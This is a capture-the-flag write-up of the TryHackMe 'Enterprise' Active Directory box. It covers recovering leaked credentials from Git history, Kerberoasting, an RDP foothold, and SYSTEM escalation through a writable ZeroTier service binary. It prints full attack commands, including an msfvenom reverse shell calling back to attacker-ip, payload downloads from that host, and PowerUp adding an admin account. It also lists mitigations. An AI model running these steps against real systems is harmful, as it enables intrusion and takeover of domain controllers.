> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/enterprise-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# Enterprise Writeup

## Summary

Enterprise is an Active Directory box that starts as a classic external AD footprint (DNS, Kerberos, LDAP, SMB, RDP, WinRM) plus two extra web ports: an IIS site on 80 and a Bitbucket-branded login page on 7990. The page is actually a copy of Atlassian's hosted login page, complete with a company-specific banner announcing a move to GitHub.

That banner is the key hint: Google dorking for the company name against `site:github.com` reveals a public GitHub organization. Reviewing commit history in one of its repositories—a PowerShell AD management script—exposes a hardcoded username and password that were later "removed" but never purged from Git history.

The first credentials (`nik`) do not provide direct shell access, but they are sufficient to Kerberoast the domain and request a service ticket for the `bitbucket` account. Its password cracks easily with rockyou. `bitbucket` is a member of **Remote Desktop Users**, so RDP provides an interactive session and the user flag.

Manual enumeration of `Program Files (x86)` reveals a leftover ZeroTier installation. Its service folder is writable by `BUILTIN\Users`, while the service runs as `LocalSystem`: a textbook writable-service-binary privilege escalation. Replacing the service binary and restarting the service yields a SYSTEM shell and the root flag. The same weakness can also be abused with PowerUp to add a new local administrator.

IPs are referred to below as `machine-ip` (the TryHackMe target) and `attacker-ip` (the Kali box).

***

## Recon

### Nmap: top ports

```bash
nmap -A -Pn machine-ip -o nmap
```

<details>

<summary>Output</summary>

```
Nmap scan report for machine-ip
Host is up (0.047s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ENTERPRISE.THM, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=LAB-DC.LAB.ENTERPRISE.THM
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
```

</details>

Standard Windows Server / DC fingerprint: Kerberos, LDAP, SMB with signing required, RDP, and WinRM. The domain is `ENTERPRISE.THM`, and the DC hostname is `LAB-DC.LAB.ENTERPRISE.THM`.

### Full port scan

The top-1000 scan misses a lot on a box like this, so a full TCP sweep with rustscan/nmap is worthwhile:

```bash
rustscan -a machine-ip
nmap -Pn -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,7990,9389,47001,49664,... -sC -sV -oA enterprise_scan machine-ip
```

<details>

<summary>Key findings from the full scan</summary>

```
53/tcp    open   domain
80/tcp    open   http          Microsoft IIS httpd 10.0
88/tcp    open   kerberos-sec
135/tcp   open   msrpc
139/tcp   open   netbios-ssn
389/tcp   open   ldap
445/tcp   open   microsoft-ds
464/tcp   open   kpasswd5
593/tcp   open   ncacn_http
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          (Global Catalog)
3269/tcp  open   tcpwrapped    (Global Catalog SSL)
3389/tcp  open   ms-wbt-server
5985/tcp  open   http          (WinRM)
7990/tcp  open   http          Microsoft IIS httpd 10.0
|_http-title: Log in to continue - Log in with Atlassian account
9389/tcp  open   mc-nmf        .NET Message Framing (ADWS)
47001/tcp open   http
```

</details>

Port **7990** is the interesting service that the top-1000 scan missed entirely. This is the default port for Bitbucket Server, and its title claims to be an Atlassian login page.

### SMB null / guest session

```bash
nxc smb machine-ip -u '' -p ''
nxc smb machine-ip -u guest -p ''
nxc smb machine-ip -u guest -p '' --shares
```

<details>

<summary>Output</summary>

```
SMB   machine-ip   445   LAB-DC   Windows 10 / Server 2019 Build 17763 x64 (domain:LAB.ENTERPRISE.THM) (signing:True) (SMBv1:None) (Null Auth:True)
SMB   machine-ip   445   LAB-DC   LAB.ENTERPRISE.THM\guest:

Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                               Default share
Docs            READ
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
SYSVOL                          Logon server share
Users           READ            Users Share. Do Not Touch!
```

</details>

Null and guest authentication both work. The readable `Docs` share is worth checking.

### RID brute forcing users

```bash
nxc smb machine-ip -u guest -p '' --rid-brute
```

<details>

<summary>Trimmed output: user accounts</summary>

```
500: LAB-ENTERPRISE\Administrator (SidTypeUser)
501: LAB-ENTERPRISE\Guest (SidTypeUser)
502: LAB-ENTERPRISE\krbtgt (SidTypeUser)
1000: LAB-ENTERPRISE\atlbitbucket (SidTypeUser)
1001: LAB-ENTERPRISE\LAB-DC$ (SidTypeUser)
1104: LAB-ENTERPRISE\ENTERPRISE$ (SidTypeUser)
1106: LAB-ENTERPRISE\bitbucket (SidTypeUser)
1107: LAB-ENTERPRISE\nik (SidTypeUser)
1108: LAB-ENTERPRISE\replication (SidTypeUser)
1109: LAB-ENTERPRISE\spooks (SidTypeUser)
1110: LAB-ENTERPRISE\korone (SidTypeUser)
1111: LAB-ENTERPRISE\banana (SidTypeUser)
1112: LAB-ENTERPRISE\Cake (SidTypeUser)
1116: LAB-ENTERPRISE\contractor-temp (SidTypeUser)
1117: LAB-ENTERPRISE\varg (SidTypeUser)
1119: LAB-ENTERPRISE\joiner (SidTypeUser)
```

</details>

Extract a clean `users.txt` from the account list:

```
Administrator
Guest
krbtgt
atlbitbucket
bitbucket
nik
replication
spooks
korone
banana
Cake
contractor-temp
varg
joiner
```

Confirm the usernames against Kerberos:

```bash
kerbrute userenum -d LAB.ENTERPRISE.THM --dc machine-ip users.txt
```

All 13 non-machine accounts return as valid, confirming the account list is accurate.

### The Docs share: a deliberate dead end

```bash
smbclient //enterprise.thm/Docs -N
mget *
```

This retrieves:

* `RSA-Secured-Credentials.xlsx`
* `RSA-Secured-Document-PII.docx`

Both are password-protected Office files. `file` identifies them as `CDFV2 Encrypted`.

```bash
office2john RSA-Secured-Credentials.xlsx > hash.txt
office2john RSA-Secured-Document-PII.docx >> hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

The passwords do not crack in a reasonable amount of time. Real Office encryption is expensive to brute force, and an easy box would not likely gate the intended path behind it. Leave these files uncracked and move on.

***

## Finding the GitHub organization

### The Bitbucket-styled login page

```bash
curl http://machine-ip:7990/
```

The page renders as a pixel-perfect copy of Atlassian's real `id.atlassian.com` login page, but a custom banner appears above the login form:

> **Reminder to all Enterprise-THM Employees:**\
> **We are moving to Github!**
>
> Log in to your account

Wappalyzer identifies IIS 10.0 plus Apple/Atlassian sign-in components. This is effectively a static clone of the real login page, not an active Bitbucket instance.

The custom banner is the important clue: it points toward GitHub.

### Google dorking for the GitHub organization

```
"Enterprise-THM" site:github.com
```

This reveals a public GitHub organization: `github.com/Enterprise-THM`, with one repository, `About-Us`.

```bash
git clone https://github.com/Enterprise-THM/About-Us
```

<details>

<summary>README.md</summary>

```markdown
### Welcome to Enterprise.THM

Enterprise.THM is the latest and greatest company on the NYSE. Later on, you'll be able to view all of our awesome free, open source trading algorithms.
Stay tuned for more details.

- Enterprise.THM Team
```

</details>

The current files contain nothing sensitive, but the repository history is still worth reviewing:

```bash
git log --oneline
```

```
41a9956 (HEAD -> main, origin/main, origin/HEAD) Update README.md
3bd74df Create README.md
```

Both commits only change README formatting, but they confirm the organization is legitimate and identify an author: `Sq00ky`.

Checking the organization's people page is more productive:

```bash
curl -s https://github.com/orgs/Enterprise-THM/people -o people.html
grep -oP 'href="/[^"]+"' people.html
```

This reveals a second GitHub account: `Nik-enterprise-dev`, matching the `nik` username found during AD enumeration.

The profile has one public repository: `mgmtScript.ps1`.

### The leaked credentials

```bash
git clone https://github.com/Nik-enterprise-dev/mgmtScript.ps1
cat SystemInfo.ps1
```

<details>

<summary>Current file contents</summary>

```powershell
Import-Module ActiveDirectory
$userName = ''
$userPassword = ''
$psCreds = ConvertTo-SecureString $userPassword -AsPlainText -Force
$Computers = New-Object -TypeName "System.Collections.ArrayList"
$Computer = $(Get-ADComputer -Filter * | Select-Object Name)
for ($index = -1; $index -lt $Computer.count; $index++) { Invoke-Command -ComputerName $index {systeminfo} }
```

</details>

The current version contains empty credentials, but the commit history is more revealing:

```bash
git log
```

```
commit c3c239df75fefbe7563d1d29c963ba1f01e4fe5a (HEAD -> main, origin/main, origin/HEAD)
Author: Nik-enterprise-dev
Date:   Sat Mar 13 20:09:16 2021 -0500

    Updated things

    I accidentally added something
```

The commit message is effectively a confession. Review the commit diff:

```bash
git show c3c239df75fefbe7563d1d29c963ba1f01e4fe5a
```

```diff
 Import-Module ActiveDirectory
-$userName = 'nik'
-$userPassword = 'ToastyBoi!'
+$userName = ''
+$userPassword = ''
```

Blanking values in a later commit does not remove them from Git history. The original credentials remain recoverable:

```
nik:ToastyBoi!
```

***

## Validating and using nik's credentials

```bash
nxc smb machine-ip -u nik -p 'ToastyBoi!'
nxc ldap machine-ip -u nik -p 'ToastyBoi!'
nxc winrm machine-ip -u nik -p 'ToastyBoi!'
```

<details>

<summary>Output</summary>

```
SMB    machine-ip   445    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
LDAP   machine-ip   389    LAB-DC   LAB.ENTERPRISE.THM\nik:ToastyBoi!
WINRM  machine-ip   5985   LAB-DC   [-] LAB.ENTERPRISE.THM\nik:ToastyBoi!
```

</details>

The credentials are valid over SMB and LDAP, but not WinRM. `nik` is not in a group that permits remote PowerShell access.

Use `bloodyAD` for LDAP enumeration:

```bash
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get object nik
```

This confirms that `nik` is a normal domain user with `NORMAL_ACCOUNT` and `DONT_EXPIRE_PASSWORD`, and belongs to:

* `Contractor`
* `Password-Policy-Exemption`

Check writable directory objects:

```bash
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get writable
```

There is nothing exploitable beyond `nik`'s own object.

The next natural step for an authenticated domain user is identifying Kerberoastable service accounts:

```bash
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u nik -p 'ToastyBoi!' get search --filter '(&(objectClass=user)(servicePrincipalName=*))'
```

The query returns the expected DC machine account and a more useful `bitbucket` service account with an SPN of `HTTP/LAB-DC`.

***

## Kerberoasting the bitbucket account

```bash
impacket-GetUserSPNs LAB.ENTERPRISE.THM/nik:'ToastyBoi!' -dc-ip machine-ip -request
```

<details>

<summary>Output: ticket truncated</summary>

```
ServicePrincipalName  Name       MemberOf                                                       PasswordLastSet             LastLogon                   Delegation
--------------------  ---------  -------------------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/LAB-DC           bitbucket  CN=sensitive-account,CN=Builtin,DC=LAB,DC=ENTERPRISE,DC=THM     2021-03-11 20:20:01.333272  2021-04-26 11:16:41.570158

$krb5tgs$23$*bitbucket$LAB.ENTERPRISE.THM$LAB.ENTERPRISE.THM/bitbucket*$...[truncated]...
```

</details>

Save the ticket to `bitbucket.hash` and crack it offline:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt bitbucket.hash
```

```
littleredbucket  (?)
1g 0:00:00:00 DONE
```

The recovered credentials are:

```
bitbucket:littleredbucket
```

### Validating bitbucket

```bash
nxc smb machine-ip -u bitbucket -p littleredbucket
nxc ldap machine-ip -u bitbucket -p littleredbucket
nxc winrm machine-ip -u bitbucket -p littleredbucket
```

The same pattern applies: valid over SMB and LDAP, but not WinRM.

Check group membership:

```bash
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get membership bitbucket
```

```
Users
Remote Desktop Users
Domain Users
Password-Policy-Exemption
sensitive-account
```

**Remote Desktop Users** is the key group. `bitbucket` cannot use WinRM, but can log in with RDP.

### Side quest: the Contractor group

While enumerating groups, the `Contractor` group's description field stands out:

```bash
bloodyAD --host LAB-DC.LAB.ENTERPRISE.THM -d LAB.ENTERPRISE.THM -u bitbucket -p 'littleredbucket' get search --filter '(description=*)' --attr description
```

```
distinguishedName: CN=Contractor,OU=Employees,OU=Staff,DC=LAB,DC=ENTERPRISE,DC=THM
description: Change password from Password123!
```

This is the `contractor-temp` account's default password in plaintext within an AD description field.

```bash
nxc smb enterprise.thm -u contractor-temp -p 'Password123!'
nxc ldap enterprise.thm -u contractor-temp -p 'Password123!'
nxc winrm enterprise.thm -u contractor-temp -p 'Password123!'
```

The credentials are valid on SMB and LDAP, but not WinRM. `contractor-temp` is not a member of Remote Desktop Users either, so it does not provide an interactive foothold.

***

## Foothold via RDP as bitbucket

```bash
xfreerdp3 /v:LAB-DC.LAB.ENTERPRISE.THM /u:bitbucket /p:'littleredbucket' /d:LAB.ENTERPRISE.THM /w:1280 /h:800 /dynamic-resolution /cert:ignore
```

This provides a full interactive desktop session on `LAB-DC` as `bitbucket`.

A text file named `user` sits on the desktop:

```cmd
type user
```

```
[REDACTED]
```

### Confirming the foothold from a shell

Open `cmd.exe` inside the RDP session:

```cmd
whoami
whoami /all
net user
```

<details>

<summary>Output: trimmed</summary>

```
lab-enterprise\bitbucket

Group Name                                 Type             SID
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555
BUILTIN\Users                              Alias            S-1-5-32-545
LAB-ENTERPRISE\sensitive-account           Group            ...-1115
LAB-ENTERPRISE\Password-Policy-Exemption   Group            ...-1113

User accounts for \\LAB-DC
-------------------------------------------------------------------------------
Administrator  banana  bitbucket  Cake  joiner  korone  krbtgt  spooks
```

</details>

`bitbucket` is a normal domain user without special local privileges. The escalation path must come from the host itself.

***

## Privilege escalation: leftover ZeroTier installation

Rather than running an automated privilege-escalation script blindly, manually inspect `Program Files` and `Program Files (x86)` for unexpected software:

```cmd
cd "Program Files (x86)"
dir
```

Most entries are expected Windows, .NET, or Google components. One directory does not belong on a domain controller:

```
03/14/2021  05:36 PM    <DIR>          Zero Tier
```

```cmd
cd "Zero Tier\Zero Tier One"
dir
```

```
03/14/2021  05:32 PM             1,465 regid.2010-01.com.zerotier_ZeroTierOne.swidtag
12/05/2014  11:52 AM         9,594,056 ZeroTier One.exe
```

Check the corresponding Windows service:

```powershell
Get-Service -Name zerotieroneservice | Select-Object *
```

```
Name          : zerotieroneservice
Status        : Stopped
StartType     : Automatic
```

This is an automatic-start service that is currently stopped and runs as `LocalSystem`.

### Confirming weak permissions

```powershell
Get-Acl -Path "C:\Program Files (x86)\Zero Tier\Zero Tier One\" | Format-List
```

<details>

<summary>Output: relevant lines</summary>

```
Owner  : NT AUTHORITY\SYSTEM
Access : BUILTIN\Users Allow  Write, Synchronize
         NT SERVICE\TrustedInstaller Allow  FullControl
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
```

</details>

`BUILTIN\Users`—a group containing `bitbucket`—has **Write** access to the service installation directory. The service itself runs as `NT AUTHORITY\SYSTEM`.

Any authenticated user can replace the binary at:

```
C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
```

When the service starts, Windows will execute the replacement binary as SYSTEM.

Confirm this programmatically with PowerUp:

```powershell
Invoke-WebRequest -Uri http://attacker-ip/PowerUp.ps1 -OutFile powerup.ps1
. .\powerup.ps1
Get-ModifiableServiceFile
Get-UnquotedService
```

<details>

<summary>Relevant PowerUp output</summary>

```
ServiceName                     : zerotieroneservice
Path                             : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFile                  : C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe
ModifiableFilePermissions       : {WriteAttributes, Synchronize, AppendData/AddSubdirectory, WriteExtendedAttributes...}
ModifiableFileIdentityReference : BUILTIN\Users
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'zerotieroneservice'
CanRestart                      : True
```

</details>

PowerUp confirms:

* `BUILTIN\Users` can modify the service binary.
* The service runs as `LocalSystem`.
* The service can be restarted without rebooting.

### Method A: manual reverse shell as SYSTEM

Generate a Windows reverse shell payload:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker-ip LPORT=4444 -f exe -o rev.exe
```

Download it to the target and replace the service binary:

```powershell
Invoke-WebRequest -Uri http://attacker-ip/rev.exe -OutFile rev.exe
Stop-Service zerotieroneservice -Force
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe.bak"
Copy-Item "C:\Program Files (x86)\Zero Tier\Zero Tier One\rev.exe" "C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe" -Force
Restart-Service zerotieroneservice
```

Start a listener on the attacker machine:

```bash
nc -lvnp 4444
```

```
listening on [any] 4444 ...
connect to [attacker-ip] from (UNKNOWN) [machine-ip] 50818
Microsoft Windows [Version 10.0.17763.1817]

C:\Windows\system32>whoami
nt authority\system
```

The Service Control Manager launches the replacement `ZeroTier One.exe` as configured. Since the service runs as `LocalSystem`, the reverse shell returns as `nt authority\system`.

```cmd
cd C:\Users\Administrator\Desktop
type root.txt
```

```
[REDACTED]
```

### Method B: PowerUp method

The same weak ACL can be abused through PowerUp without generating or uploading a payload. PowerUp patches the binary in place to run a `net user /add` command and add the new account to a local administrator group.

```powershell
Install-ServiceBinary -Name zerotieroneservice
```

```
ServiceName        Path                                                            Command
-----------         ----                                                            -------
zerotieroneservice  C:\Program Files (x86)\Zero Tier\Zero Tier One\ZeroTier One.exe  net user john Password123! /add & ...
```

```powershell
Restart-Service zerotieroneservice
```

The restart reports a failure:

```
Failed to start service
```

However, the embedded commands execute before the process exits.

```powershell
net localgroup Administrators
```

```
Administrators
Administrator
Domain Admins
ENTERPRISE\Enterprise Admins
john
```

`john` is now a local administrator. Confirm administrative access over WinRM:

```bash
evil-winrm -i machine-ip -u john -p 'Password123!'
whoami /all
```

<details>

<summary>Output: trimmed</summary>

```
lab-enterprise\john
BUILTIN\Administrators   Alias   S-1-5-32-544   Mandatory group, Enabled by default, Enabled group, Group owner
```

</details>

```powershell
cd C:\Users\Administrator\Desktop
type root.txt
```

```
[REDACTED]
```

Both methods lead to full compromise of the domain controller.

***

## Key vulnerabilities

1. **Secrets in Git history**\
   A commit that “removed” hardcoded AD credentials merely blanked the values in a new commit. The original credentials remained in the prior public Git commit.
2. **OSINT trail from a fake login page to a real GitHub organization**\
   A cloned Atlassian login page with a company-specific “we're moving to GitHub” banner revealed an organizational naming convention and led to a public source-control organization and employee repositories.
3. **Weak service-account password**\
   The Kerberoastable `bitbucket` account, identified through its `HTTP/LAB-DC` SPN, used a short password that cracked against rockyou almost instantly.
4. **Password stored in an AD description field**\
   The `Contractor` group description contained a default password in plaintext, readable over LDAP.
5. **Writable SYSTEM service binary / install directory**\
   `zerotieroneservice` ran as `LocalSystem`, but its install directory granted `BUILTIN\Users` write access. Any authenticated user could replace the service binary and execute code as SYSTEM.

***

## Attack chain

{% stepper %}
{% step %}

### Discover the hidden web service

A full port scan reveals a Bitbucket-styled login page on port 7990 that the default top-1000 scan misses.

The page is actually a static clone of Atlassian's login page with a custom “we're moving to GitHub” banner.
{% endstep %}

{% step %}

### Find the public GitHub organization

Google dorking the company name against `site:github.com` finds the public `Enterprise-THM` organization.

The organization’s repositories and people listing lead to the `Nik-enterprise-dev` account.
{% endstep %}

{% step %}

### Recover credentials from Git history

The `mgmtScript.ps1` repository contains a commit that blanks hardcoded credentials in a later revision.

Reviewing the old commit recovers:

```
nik:ToastyBoi!
```

{% endstep %}

{% step %}

### Enumerate the domain as nik

The `nik` credentials authenticate over SMB and LDAP, though not WinRM.

LDAP enumeration identifies a Kerberoastable `bitbucket` service account with the `HTTP/LAB-DC` SPN.
{% endstep %}

{% step %}

### Kerberoast bitbucket

Request a TGS ticket for `bitbucket` and crack it with rockyou.

This recovers:

```
bitbucket:littleredbucket
```

{% endstep %}

{% step %}

### Obtain an RDP foothold

`bitbucket` belongs to **Remote Desktop Users**, allowing an interactive RDP session and access to the user flag.
{% endstep %}

{% step %}

### Identify the writable SYSTEM service

Manual enumeration of `Program Files (x86)` finds a leftover ZeroTier installation.

The `zerotieroneservice` service runs as `LocalSystem`, while its installation directory is writable by `BUILTIN\Users`.
{% endstep %}

{% step %}

### Replace the service binary and escalate

Replace the service binary with a reverse shell payload, or use PowerUp's `Install-ServiceBinary` helper to create a local administrator.

Restarting the service executes attacker-controlled code as SYSTEM and provides full compromise of the domain controller.
{% endstep %}
{% endstepper %}

***

## Mitigations

* Never commit credentials to source control, even temporarily. If a secret has ever been committed, rotate it immediately and treat the repository history as compromised. Deleting the secret in a later commit is insufficient because prior commits, forks, and clones retain it.
* Avoid publishing internal tooling, scripts, or reminder banners that reveal internal migration plans, tooling names, or organizational structure through internet-facing login pages.
* Enforce strong, unique passwords for service accounts. Treat accounts with SPNs as especially high-value because authenticated domain users can request and crack their service tickets offline. Consider gMSA accounts, which use automatically rotated random passwords.
* Never store passwords or password hints in AD attributes such as `description` or `info`. These fields may be readable by users with basic LDAP access, including null sessions in some configurations.
* Regularly audit local group memberships, particularly **Remote Desktop Users** and **Administrators**, and apply least privilege. A service account such as `bitbucket` should not require interactive desktop access.
* Audit file and folder ACLs for every executable referenced by a service `binPath`, particularly services running as `LocalSystem`. Low-privileged groups such as `BUILTIN\Users` must never have write access to a SYSTEM-run service binary or its containing directory.
* Remove unused third-party software such as leftover ZeroTier installations rather than leaving them installed and forgotten.
* Quote service binary paths containing spaces and validate service configurations after software installation or removal.
